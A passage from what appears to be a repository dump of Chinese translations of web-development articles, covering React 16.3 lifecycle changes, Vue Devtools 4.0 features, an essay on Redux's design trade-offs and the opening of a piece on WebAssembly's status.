`UNSAFE_componentWillReceiveProps`\n* `UNSAFE_componentWillUpdate`\n\n### 静态方法：getDerivedStateFromProps\n\n既然 `componentWillReceiveProps` 要被废除了，那么，还有其他的方法能根据 prop 的改变更新 state 吗（不推荐使用这种开发模式）？这里就要用到新引进的那个静态方法了。\n\n这里说的静态和其他语言的概念是一样的，它是存在于类自身的方法，不依赖实例的创建。与一般的类方法的区别在于它不能访问 `this` 关键字，还有就是方法前面有个 `static` 修饰符。\n\n嗯，那行，但是有一个问题，既然访问不到 `this` 了，那还怎么用 `this.setState` 来更新状态呢？答案是，“压根就不需要用这个方法了”，你只需要返回新的状态就行了，直接 return 出去，不需要用方法去设置。如果不需要更新状态，返回 `null` 就行了：\n\n![](https://cdn-images-1.medium.com/max/800/1*iIRN5UAvsf-6d84NweGlzQ.png)\n\n此外，返回值的机制和使用 `setState` 的机制是类似的 —— 你只需要返回发生改变的那部分状态，其他的值会保留。\n\n#### 敲黑板：\n\n![](https://cdn-images-1.medium.com/max/800/1*xGRcRf9KyVNEm4r_Wt9UMw.png)\n\n说了这么多，还是要提醒下各位记得在构造器里初始化一下 state（在构造器里或者用 class field），不然就会报上面的错误。\n\n* * *\n\n这个方法在组件首次挂载和将要重新渲染的时候会调用，所以你可以在它里面初始化状态，来代替在构造函数里面初始化。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*Wv-6Yyg7Wd5gIIBu2IKH7w.png)\n\n如果同时定义了 `getDerivedStateFromProps` 和 `componentWillReceiveProps`，只有 `getDerivedStateFromProps` 会被调用，同时 React 还会打印出警告信息。\n\n* * *\n\n还有一种情况就是，当状态发生变化的时候需要执行回调，这时候你就可以用 `componentDidUpdate`。\n\n* * *\n\n如果你觉得 `static` 不够优雅，你可以用下面这种方式定义，效果是一样的:\n\n![](https://cdn-images-1.medium.com/max/800/1*nb9hnMETRb8Nc26ogTlX6A.png)\n\n### StrictMode\n\nStrict mode 是新加入的组件，旨在引导你遵循最佳实践。把需要进行约束的组件簇放在它的下面就完事了:\n\n![](https://cdn-images-1.medium.com/max/800/1*cT32zSlTdDHMDbNDkpOwdw.png)\n\n完全一变相的 `'use strict'`。\n\n如果其下的组件不小心用了上文提到的要废除的生命周期方法，控制台会打印出错误信息（开发环境下）:\n\n![](https://cdn-images-1.medium.com/max/800/1*etTOl69nI0EmND_D68W7xA.png)\n\n错误信息提供的链接地址目前指向的是一个 [RFC issue](https://fb.me/react-strict-mode-warnings)，也是因为生命周期方法被废除导致的。\n\n### AsyncMode\n\n为了配合 `StrictMode`，异步组件支持现在重新命名为 `React.unsafe_AsyncMode`，它也会引发 `StrictMode` 的警告信息。\n\n有关异步组件的使用可以参考以下博文：\n\n* [https://build-mbfootjxoo.now.sh/](https://build-mbfootjxoo.now.sh/)\n* [https://github.com/koba04/react-fiber-resources](https://github.com/koba04/react-fiber-resources)\n\n### 新版 React 开发工具\n\n新版本的开发工具也已经跟进，可以识别新加入的组件了。\n\n但是 Chrome 上的插件还没有更新，还要等一段时间，所以 debug 的时候会看到很有趣的东西：\n\n![](https://cdn-images-1.medium.com/max/800/0*VzzTmbTx7dmzll94.png)\n\nReact. __SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED（译者注：红头组件，用了你就怕是要被炒鱿鱼了）表示不服。\n\nFirefox 用户就有福了，完全支持：\n\n![](https://cdn-images-1.medium.com/max/800/1*DN9BX9MC4xDjdXKKAAAf7Q.png)\n\n可以看到 `AsyncMode` 组件可以直接被识别。\n\n### 后日谈\n\n总之呢，这还只是 alpha 版本，等稳定版本出来的时候可能会有点改动。根据 Dan 的说法，稳定版差不多下周就出：\n\n![](https://cdn-images-1.medium.com/max/800/1*JE0fFrRpCmzCaG-hVEZWpA.png)\n\n讲道理，这不已经过了一个星期吗？\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/whats-new-in-vue-devtools-4-0.md",
    "content": "> * 原文地址：[What’s new in Vue Devtools 4.0](https://medium.com/the-vue-point/whats-new-in-vue-devtools-4-0-9361e75e05d0)\n> * 原文作者：[Guillaume CHAU](https://medium.com/@Akryum?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-vue-devtools-4-0.md](https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-vue-devtools-4-0.md)\n> * 译者：[MechanicianW](https://github.com/MechanicianW)\n> * 校对者：[okaychen](https://github.com/okaychen) [FateZeros](https://github.com/FateZeros)\n\n# Vue Devtools 4.0 有哪些新内容\n\n几天前，Vue devtools 发布了重大更新。让我们来看看有哪些新特性与改进！🎄（译者注： 以下视频源都是 youtube，需自备梯子）\n\n### 可编辑的组件 data\n\n现在可以直接在组件检查面板中修改组件的 data 了。\n\n1. 选中一个组件\n2. 在检查器的 `data` 部分下，将鼠标移到你要修改的字段上\n3. 点击铅笔图标\n4. 通过点击完成图标或者敲击回车键来提交你的改动。也可以通过敲击 ESC 键来取消编辑\n\n<iframe width=\"700\" height=\"525\" src=\"https://www.youtube.com/embed/xeBRtXLrQYA\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n字段内容会被序列化为 JSON 。举个例子，如果你想输入一个字符串，则打字输入带双引号的 `\"hello\"`。数组则应该像 `[1, 2, \"bar\"]` ，对象则为 `{ \"a\": 1, \"b\": \"foo\" }` 。\n\n目前可以编辑以下几种类型的值：\n\n* `null` 和 `undefined`\n* `String`\n* 字面量： `Boolean` , `Number` , `Infinity` , `-Infinity` 和 `NaN`\n* Arrays\n* Plain objects\n\n对于 Arrays 和 Plain objects，可以通过专用图标来增删项。也可以重命名对象的 key 名。\n\n<iframe width=\"700\" height=\"525\" src=\"https://www.youtube.com/embed/fx1zjvHryJ0\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n如果输入的不是有效的 JSON 则会显示一条警告信息。然而，为了更方便，一些像 `undefined` 或者 `NaN` 的值是可以直接输入的。\n\n未来的新版本会支持更多类型的！\n\n#### 快速编辑\n\n通过 “快速编辑” 功能可以实现仅仅鼠标单击一下，就可以编辑一些类型的值了。\n\n布尔值可以直接通过复选框进行切换：\n\n<iframe width=\"700\" height=\"525\" src=\"https://www.youtube.com/embed/llNJapRZaHo\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n数值可以通过加号和减号图标进行增减：\n\n<iframe width=\"700\" height=\"525\" src=\"https://www.youtube.com/embed/ZCToaOpId0w\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n使用键盘的修改键去进行增减会更快一些。\n\n### 在编辑器中打开一个组件\n\n如果项目中使用了 vue-loader 或 Nuxt 的话，现在你就可以在你最喜欢的编辑器里打开选定的组件（只要它是单文件组件）。\n\n1. 按这份 [设置指南](https://github.com/vuejs/vue-devtools/blob/master/docs/open-in-editor.md) 操作 （如果你使用的是 Nuxt，就什么都不用做）\n2. 在组件检查器中，将鼠标移动到组件名上 —— 你会看到一个显示文件路径的提示框\n3. 单击组件名就会直接在编辑器中打开该组件了\n\n<iframe width=\"700\" height=\"525\" src=\"https://www.youtube.com/embed/XBKStgyhY18\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n### 显示原始的组件名\n\n这一功能由 [manico](https://github.com/manico) 提出的 PR 实现\n\n默认情况下，组件名都会被格式化为驼峰形式。你可以通过切换组件标签下的 \"Format component names\" 按钮来禁用这一功能。这个设置将被记住，它也将被应用到 Events 标签页中。\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/PoZmEcCdSbU\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n### 检查组件更容易\n\n在 Vue devtools 开启的情况下，可以右键单击一个组件进行检查：\n\n![](https://cdn-images-1.medium.com/max/800/1*8fhP5VTb6uev-8HfI4stYw.png)\n\n在页面中右键单击一个组件\n\n也可以通过特殊的方法 `$inspect` 以编程的方式来检查组件：\n\n```\n<template>\n  <div>\n    <button @click=\"inspect\">Inspect me!</button>\n  </div>\n</template>\n\n<script>\nexport default {\n  methods: {\n    inspect () {\n      this.$inspect()\n    }\n  }\n}\n</script>\n```\n\n在组件中使用 `$inspect` 方法。\n\n无论以哪种方式进行，组件树都会自动扩展到新选择的组件。\n\n### 按组件过滤事件\n\n这一功能由 [eigan](https://github.com/eigan) 提出的 PR 实现\n\n现在你可以按发出事件的组件来过滤历史事件了。输入 `<` 符号，后面跟着组件全名或组件名的一部分：\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/wytquoUPSFo\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n### Vuex 检查器过滤功能\n\n这一功能由 [bartlomieju](https://github.com/bartlomieju) 提出的 PR 实现\n\nVuex 检查器的输入框现在有了过滤功能：\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/T095k5hI_pA\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n### 垂直布局\n\n这一功能由 [crswll](https://github.com/crswll) 提出的 PR 实现\n\ndevtools 不够宽时，将切换到更方便使用的垂直布局。你可以像水平模式下一样，移动上下窗格间的分隔线。\n\n<iframe width=\"700\" height=\"525\" src=\"https://www.youtube.com/embed/33tJ_md8bX8\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n### 滚动到组件功能改进\n\n默认情况下，点击组件将不再自动滚动到该组件的视图部分。相反，你需要点击新的 \"Scroll into view\" 图标才能滚动到该组件：\n\n![](https://cdn-images-1.medium.com/max/800/1*TJEfzB4ifK8t-5kpbZieRw.png)\n\n点击眼睛图标来滚动到组件。\n\n视图将滚动到组件居中于屏幕的位置。\n\n### 可折叠的检查器\n\n现在不同检查器的各部分是可以被折叠的。你可以用键盘修改键来将它们都折叠，或者通过鼠标单击将它们都展开。假设你只专注于 Vuex 标签页的 mutations 详情的话，这就是一个非常有用的功能。\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/bblGueKPsjE\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n### 以及更多\n\n* 如果运行环境不支持这一功能的话，\"Inspect DOM\" 按钮会被隐藏。 —— by [michalsnik](https://github.com/michalsnik)\n* 支持 `-Infinity` —— by [David-Desmaisons](https://github.com/David-Desmaisons)\n* 事件钩子的 issue 修复 —— [maxushuang](https://github.com/maxushuang)\n* 代码清理 —— by [anteriovieira](https://github.com/anteriovieira)\n* 改进了对 Date， RegExp， Component 的支持 （现在这些类型也可以进行时间旅行了）\n* devtools 现在使用 [v-tooltip](https://github.com/Akryum/v-tooltip) 实现更丰富的信息提示与弹出功能\n\n如果你已经安装了扩展，扩展应用将自动更新到 `4.0.1` 版本。你也可以在 [Chrome](https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd) 和 [Firefox](https://addons.mozilla.org/fr/firefox/addon/vue-js-devtools/) 上安装。\n\n**感谢所有的贡献者们！是你们使得本次更新成为可能！**\n如果你发现任何问题或是有新的功能建议，[请分享出来](https://new-issue.vuejs.org/?repo=vuejs/vue-devtools)！\n* * *\n\n### 接下来会有什么大动作？\n\n具有更多功能特性的新版本即将发布，如在页面中直接选中组件（选色板风格）和一些 UI 改进。\n\n我们也有一些仍在进行中的工作，比如允许在任意环境（不仅仅是 Chrome 和 Firefox）进行 debug 的独立 Vue devtools app，全新的路由标签页，以及对 `Set` 和 `Map` 类型支持的改进。\n\n敬请关注！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/whats-so-great-about-redux.md",
    "content": "\n> * 原文地址：[What’s So Great About Redux?](https://medium.freecodecamp.org/whats-so-great-about-redux-ac16f1cc0f8b)\n> * 原文作者：[Justin Falcone](https://medium.freecodecamp.org/@modernserf)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/whats-so-great-about-redux.md](https://github.com/xitu/gold-miner/blob/master/TODO/whats-so-great-about-redux.md)\n> * 译者：[ZiXYu](https://github.com/ZiXYu)\n> * 校对者：[MJingv](https://github.com/MJingv), [calpa](https://github.com/calpa)\n\n# Redux 有多棒？\n\n![](https://cdn-images-1.medium.com/max/1600/1*BpaqVMW2RjQAg9cFHcX1pw.png)\n\nRedux 能够优雅地处理复杂且难以被 React 组件描述的状态交互。它本质上是一个消息传递系统，就像在面向对象编程中看到的那样，只是 Redux 是通过一个库而不是在语言本身中来实现的。就像在 OOP 中那样，Redux 将控制的责任从调用方转移到了接收方 - 界面并不直接操作状态值，而是发布一条操作消息来让状态解析。\n\n一个 Redux store 是一个对象， reducers 是方法的处理程序，而 actions 是操作消息。`store.dispatch({ type: \"foo\", payload: \"bar\" })` 相当于 Ruby 中的 `store.send(:foo, \"bar\")`。中间件的使用方式类似于面向切面编程 (AOP, Aspect-Oriented Programming) (例如：Rails 中的 `before_action`)。 而 React-Redux 的 `connect` 则是依赖注入。\n\n#### 为什么它值得称赞？\n\n- 上文中控制权限的转移保证了当状态转换的实现变化时， UI 并不需要更新。添加复杂的功能，例如记录日志、撤销操作，甚至是时光穿越调试 (time travel debugging)，将变得非常简单。集成测试只需要确认派发了正确的 actions 即可，剩下的测试都可以通过单元测试来完成。\n- React 的组件状态对于那些在 app 中触及多个部分的状态而言非常笨重，例如用户信息和消息通知。Redux 提供了一个独立于 UI 的状态树来处理这些交叉问题。此外，让你的状态存活于 UI 之外使实现数据可持久化之类的功能变得更简单 - 你只需要在一个单独的地方处理 localStorage 和 URL 即可。\n- Redux 的 reducer 提供了难以想象的灵活方式来处理 actions - 组合，多次派发，甚至 `method_missing` 式解析\n\n#### 这些都是不常见的情况。在常见情况下呢？\n\n好吧，这就是问题所在。\n\n- 一个 action **可以**被解释为一个复杂的状态转换，但是它们中的绝大对数只是用来设置一个单独的值。Redux 应用倾向于结束这一大堆只用于设置一个值的 action，这里有个用于区分在 Java 中手动写 setter 函数的标志。\n- 你**可以**在你 app 的任意一个地方使用状态树的任一部分，但是对于大多数状态来说，它们一对一的对应了某个 UI 中的一部分。将这种状态放在 Redux 中，而不是放在组件里，这只是**间接**而非**抽象**。\n- 一个 reducer 函数**可以**做各种奇怪的元编程，但是在绝大多数情况下它只是基于某个 action 类型的单一派发。这在 Elm 和 Erlang 这种语言中是很好实现的，因为在这些语言中，模式匹配是简洁而高效的，但是在 JavaScript 中使用 `switch` 语句来实现就显得格外笨拙。\n\n但是更可怕的事是，当你花费了所有的时间在常见情况下编写代码模板时，你会忘记，在某些特殊情况下会有更好的解决方案**存在**。你遇到了一个复杂的状态转换问题，然后调用了很多用于设置状态值的 action 来解决了它。你在 reducer 中重复定义了很多状态，而不是在 app 中分发同一个子状态。你在很多 reducer 中复制粘贴了各种 switch case 而不是把其中的某些方法抽象成共有的方法。\n\n这很容易把这种错误仅仅当成 “操作员误差” - 是他们没有查看操作手册，就像可怜的工匠责怪他们手上的工具一样 - 但是这种问题出现的频率应当引起一些关注。如果大多数的人都错误的使用一款工具，那我们又该如何评价它呢？\n\n#### 所以我们应该避免在常见情况下使用 Redux，而把它留给特殊情况吗？\n\n这是 Redux 开发团队给你的建议，也是我给我的开发团队成员的建议：除非使用 setState 难以解决问题，不然尽量避免使用 Redux。但是我不能让我自己也遵从我自己的规定，因为总是有**某些**原因让你想要使用 Redux。 可能你有一系列的 `set_$foo` 消息，而且设置这些值**也**会更新 URL，或者重设某些瞬态值。可能你有一些明确和 UI 一对一的状态值，但是你**也**希望纪录或者可以撤销它们。\n\n事实是，我不知道如何写，更不要说**指导写**“好的 Redux”。我曾经参与的每个 app 都充斥着 Redux 的反模式，因为我想不到更好的解决方案或者我无法说服我的队友来改变它。如果一个 Redux “专家” 写出来的代码也如此平庸，那我们还能指望一个新手怎么做呢？无论如何，我只是希望能够平衡一下现在大行其道的 “Redux 完成所有事” 解决方案，希望每个人都能在他们适用的情况下理解 Redux。\n\n#### 所以我们在这种情况下该怎么做呢？\n\n所幸的是，Redux 足够灵活，我们可以使用第三方库集成到 Redux 里来解决常见情况 - 例如 [Jumpstate](https://github.com/jumpsuit/jumpstate)。更清晰地说，我不认为 Redux 专注于处理底层事务是一种错误的行为。但是将这些基础的功能外包给第三方来完成会造成额外的认知和开发负担 - 每个用户都需要从这些部分里构建自己的框架。\n\n#### 有些人执着于此\n\n而我正是其中之一。但并不是所有人都是。个人而言，我爱 Redux，尽可能地使用它，但是我**仍旧**喜爱尝试新的 Webpack 设置。但是我并不代表绝大多数人群。我被实现灵活解决方案的心**驱使**着，在 Redux 的顶层写了很多我自己的抽象方法。但是看着那些一群六个月前就离职的、从来没留下开发记录的开发工程师所写的抽象程序，谁又能有动力呢？\n\n其实很可能你根本**不会**遇到那些 Redux 特别擅长处理的难题，尤其如果你是一个团队里的新人，这些问题基本上会交给更资深的工程师处理。你在 Redux 上累积的经验就是 “用着每个人都在用的垃圾库，把所写的代码都重复写上好几次”。 Redux 简单到你**可以**不深入理解也能机械地使用它，但是那是一种很无聊也没什么提高的体验。\n\n这让我回想起了我之前提出的一个问题：如果大多数的人都在错误的使用一款工具，那我们又该如何评价它呢？一个好的工具不仅仅应该有用且耐用 - 它应该让使用者有个好的使用体验。能舒服使用它的场景就是正确的场景。一个工具的设计不仅仅是为了它要完成的任务，同样也要考虑到它的使用者。一个好的工具可以反映出工具制作者对于使用者的同情心。\n\n[![](https://ws2.sinaimg.cn/large/006tNc79ly1fhzg65gw1bj31280dutam.jpg)](https://twitter.com/stevensacks/status/884947742975377409)\n\n那我们的同情心又在哪呢？为什么我们的反应总是 “你错误地使用了它” 而不是 “我们可以把它设计地更容易去使用” 呢？\n\n这里有个函数式编程界的相关现象，我喜欢叫它 **Monad 指南的诅咒**：解释它们是怎么工作的是非常简单的，但是解释清楚它们这么做是有意义的就出乎意料地困难了。\n\n#### 在这篇文章中你真的要读到一段 monad 指南？\n\nMoand 是一个在 Haskell 常见的开发模式，在计算机中的很多地方都被广泛使用 - 列表，错误处理，状态，时间，输入输出。这里有个语法糖，你可以以 `do` 表达式的形式像输入指令代码一样来输入一系列的 monad 操作，就好像 javascript 中的 generator 可以让异步函数看起来像同步一样。\n\n第一个问题是，用 monad 用来做什么来描述 monad 是不准确的。[Haskell 曾引入 Monad 以解决副作用和顺序计算](http://homepages.inf.ed.ac.uk/wadler/papers/marktoberdorf/baastad.pdf)，但是事实上 monad 作为一个抽象概念并不能解决副作用和顺序化，它们是一系列规则，规定了一组函数如何交互，并没有什么固定的含义。关联性的概念**适用于**算术集合操作、列表合并和 null 传播，但是它完全独立于这些操作。\n\n第二个问题是在一些小问题上，用 monad 来解决问题更繁琐了 - 至少**看起来**更复杂了 - 相比于指令式操作而言。给一个可选类型指定它的 `Maybe Type` 明显比验证一个模糊的 `null` 类型更安全，但是这又会让代码变得更难看。使用 `Either` 类型来进行错误处理通常比那些随处可能 `throw` 错误的代码更容易理解，但是 throw 操作的确比手动传值更简洁。而副作用 - 状态，IO 等 - 在指令式语言中更是微不足道的。函数式编程爱好者们（包括我）会说副作用在函数式语言中**太简单**了，但是让别人相信任何一种语言很简单本身就是一件很难的事。\n\n而 monad 真正的价值只能在宏观尺度体现出来 - 并不是这些用例都遵循着 monad 规则，但是这些用例都遵循着**同样**的规则。能够作用于一个用例的操作就可以作用于**每个**用例：把一对列表压缩成一个存储着对值的列表就和把一对 promise 函数融合成一个处理两个结果的 promise 是“一样的”。\n\n#### 所以呢？\n\n现在 Redux 有同样的问题 - 它很难学习并不是因为它很难反而是因为它太**简单**。理解并不是认知的障碍，而要相信它的核心设计理念，我们才能通过归纳来延伸其它的知识。\n\n这种思想是很难共享的，因为核心思想是无趣的真理（避免副作用）或者做一些无意义的抽象（`(prevState, action) => nextState`）。任何单独的例子都不会对这种理解有任何帮助，因为这些例子只是展示了 Redux 的细节但并不能展现它的核心思想。\n\n一旦我们开始✨接受别人的思想✨，我们中的很多人就会立刻忘掉自己之前的一些想法。我们忘记了我们的理解只能从我们自己一次又一次的失败和误解中获得。\n\n#### 所以你的建议是？\n\n我觉得我们应该承认我们遇到了这个问题。Redux 是一种[简单却不容易](https://www.infoq.com/presentations/Simple-Made-Easy)的语言。这是一种可以理解的设计选择，但是仍旧是一种权衡。对于一门牺牲了某些简单性来让它更便于使用的语言，还是有很多人都会从中获益的。但是，很多大型社区甚至不觉得这是一种已经做出的权衡。\n\n我认为对比 React 和 Redux 是一件很有意思的事，因为广泛来说 React 是更复杂的，它有着明显更多 API 接口，同时它也在某种意义上更容易使用和理解。而 React 唯一必须的 API 接口是 `React.createElement` 和 `ReactDOM.render` - 状态，组件生命周期，甚至 DOM 事件可以在别的地方处理。React 中的这些特性让它变得更复杂，但是也让它变得更*出色*。\n\n\n“原子化状态”是个抽象概念，在你理解它之后可以指导你的开发，但是不管你理不理解这个概念，你都可以在 React 组件中调用 `setState`，来实现原子化状态管理。这并不是一个完美的解决方案 - 彻底替换状态或者强制更新有着比它更高的效率，而且它是一个异步调用的方法还会产生一些 bug - 但是 React 将 `setState` 作为一个调用的方法而不是一个专业术语是一个很好的做法。\n\nRedux 的开发组和社区都[强烈反对增加 Redux 的 API 数量](https://github.com/reactjs/redux/issues/2295)，但是现在将一堆小型开发库融合在一起的做法对于专家而言是乏味的，而对于新手而言是费解的。如果 Redux 不能内置一些小功能来对常见情况做一些支持，那么我们需要一个“更好”的框架在常见情况下来取代它。[Jumpsuit](https://github.com/jumpsuit/jumpsuit) 可以作为一个不错的开始 - 它将“action”和“state”的概念转化为了可调用的方法，同时保留了它们多对多的特性 - 但是事实上，这个库其实并不关心这个优化本身。\n\n讽刺的是：Redux **存在的意义** 是“开发者体验”：Dan 建立了 Redux 因为他希望理解和重建 Elm 的时光穿越调试。但是随着它开发了它自己的特性 - 进入了 React 生态系统的 OOP 运行环境 - 它牺牲了一些开发者的体验以换取可配置性。这让 Redux 得以蓬勃发展，但是这是个人性化开发框架明显的缺失。我们，Redux 社区，准备好了吗？\n\n\n---\n\n**感谢** [*Matthew McVickar*](https://medium.com/@matthewmcvickar)*, *[*a pile of moss*](https://medium.com/@whale_eat_squid)*, *[*Eric Wood*](https://medium.com/@eric_b_wood)*, *[*Matt DuLeone*](https://twitter.com/Crimyon)*, 和 *[*Patrick Thomson*](https://twitter.com/importantshock)* review 本文。*\n\n**备注：**\n\n**[1] 为什么要在 React / JS 和 OOP 之间做明显的区分？JavaScript 是面向对象的，但是不是基于类（class-based）的。**\n\nOOP 类似于函数式编程，是一种方法，不是某个语言特性。有些语言对于 OOP **支持**地特别好，或者有一些专门为 OOP 定制的标准库，但是如果你对它的了解够深，你可以用任何语言写出面向对象风格的代码。\n\nJavaScript 有一种数据类型 Object，同时 JS 中**大多数**数据类型可以以 Object 的形式来处理和解析，从这种角度来说你可以对任何数据类型调用某些同样的方法，除了 `null` 和 `undefined`。但是在 ES6 的 Proxy 出现之前，每个 Object 中调用的“方法”类似于一种字典查找，`foo.bar` 总是去查找 foo 对象中的“bar”属性或者它的原型链。而比如在 Ruby 这种语言中，`foo.bat` 会发一条消息 `:bar` 到 foo 对象中 - 这条消息可以被**拦截**或**解析**，它并不是必须做一个字典查找。\n\nRedux 是一种基于 JavaScript 已存在的对象系统上更慢和更复杂的对象系统，reducer 和 middleware 相当于保存着状态的 JavaScript 对象的拦截器和解析器。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/where-is-webassembly-now-and-whats-next.md",
    "content": "> * 原文地址：[Where is WebAssembly now and what’s next?](https://hacks.mozilla.org/2017/02/where-is-webassembly-now-and-whats-next/)\n> * 原文作者：本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[胡子大哈](https://github.com/huzidaha/)\n> * 校对者：[根号三](https://github.com/sqrthree)\n\n# WebAssembly 的现在与未来\n\n**本文是关于 WebAssembly 系列的第六篇文章，也同时是本系列的收尾文章。如果你没有读先前文章的话，建议[先读这里](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。**\n\n2017 年 2 月 28 日，四个主要的浏览器[一致同意宣布](https://lists.w3.org/Archives/Public/public-webassembly/2017Feb/0002.html) WebAssembly 的 MVP 版本已经完成，它是一个浏览器可以搭载的稳定版本。\n\n![](https://huzidaha.github.io/images-store/201703/21-1.png)\n\n它提供了浏览器可以搭载的稳定核，这个核并没有包含 WebAssembly 组织所计划的所有特征，而是提供了可以使 WebAssembly 稳定运行的基本版本。\n\n这样一来开发者就可以使用 WebAssembly 代码了。对于旧版本的浏览器，开发者可以通过 asm.js 来向下兼容代码，asm.js 是 JavaScript 的一个子集，所有 JS 引擎都可以使用它。另外，通过 Emscripten 工具，既可以用 WebAssembly 也可以用 asm.js 来编译你的代码。\n\n尽管是第一个版本，但是 WebAssembly 已经能发挥出它的优势了，未来通过不断地改善和融入新特征，WebAssembly 会变得更快。\n\n## 提升浏览器中 WebAssembly 的性能\n随着各种浏览器都使自己的引擎支持 WebAssembly，速度提升就变成自然而然的事情了，目前各大浏览器厂商都在积极推动这件事情。\n\n### JavaScript 和 WebAssembly 之间调用的中间函数\n目前，在 JS 中调用 WebAssembly 的速度比本应达到的速度要慢。这是因为中间需要做一次“蹦床运动”。JIT 没有办法直接处理 WebAssembly，所以 JIT 要先把 WebAssembly 函数发送到懂它的地方。这一过程是引擎中比较慢的地方。\n\n![](https://huzidaha.github.io/images-store/201703/21-2.png)\n\n按理来讲，如果 JIT 知道如何直接处理 WebAssembly 函数，那么速度会有百倍的提升。\n\n如果你传递给 WebAssembly 模块的是单一任务，那么不用担心这个开销，因为只有一次转换，也会比较快。但是如果是频繁地从 WebAssembly 和 JavaScript 之间切换，那么这个开销就必须要考虑了。\n\n### 快速加载\nJIT 必须要在快速加载和快速执行之间做权衡。如果在编译和优化阶段花了大量的时间，那么执行的必然会很快，但是启动会比较慢。目前有大量的工作正在研究，如何使预编译时间和程序真正执行时间两者平衡。\n\nWebAssembly 不需要对变量类型做优化假设，所以引擎也不关心在运行时的变量类型。这就给效率的提升提供了更多的可能性，比如可以使编译和执行这两个过程并行。\n\n加之最新增加的 JavaScript API 允许 WebAssembly 的流编译，这就使得在字节流还在下载的时候就启动编译。\n\nFireFox 目前正在开发两个编译器系统。一个编译器先启动，对代码进行部分优化。在代码已经开始运行时，第二个编译器会在后台对代码进行全优化，当全优化过程完毕，就会将代码替换成全优化版本继续执行。\n\n## 添加后续特性到 WebAssembly 标准的过程\nWebAssembly 的发展是采用小步迭代的方式，边测试边开发，而不是预先设计好一切。\n\n这就意味着有很多功能还在襁褓之中，没有经过彻底思考以及实际验证。它们想要写进标准，还要通过所有的浏览器厂商的积极参与。\n\n这些特性叫做：**未来特性**。这里列出几个。\n\n### 直接操作 DOM\n目前 WebAssembly 没有任何方法可以与 DOM 直接交互。就是说你还不能通过比如 `element.innerHTML` 的方法来更新节点。\n\n想要操作 DOM，必须要通过 JS。那么你就要在 WebAssembly 中调用 JavaScript 函数（WebAssembly 模块中，既可以引入 WebAssembly 函数，也可以引入 JavaScript 函数）。\n\n![](https://huzidaha.github.io/images-store/201703/21-3.png)\n\n不管怎么样，都要通过 JS 来实现，这比直接访问 DOM 要慢得多，所以这是未来一定要解决的一个问题。\n\n### 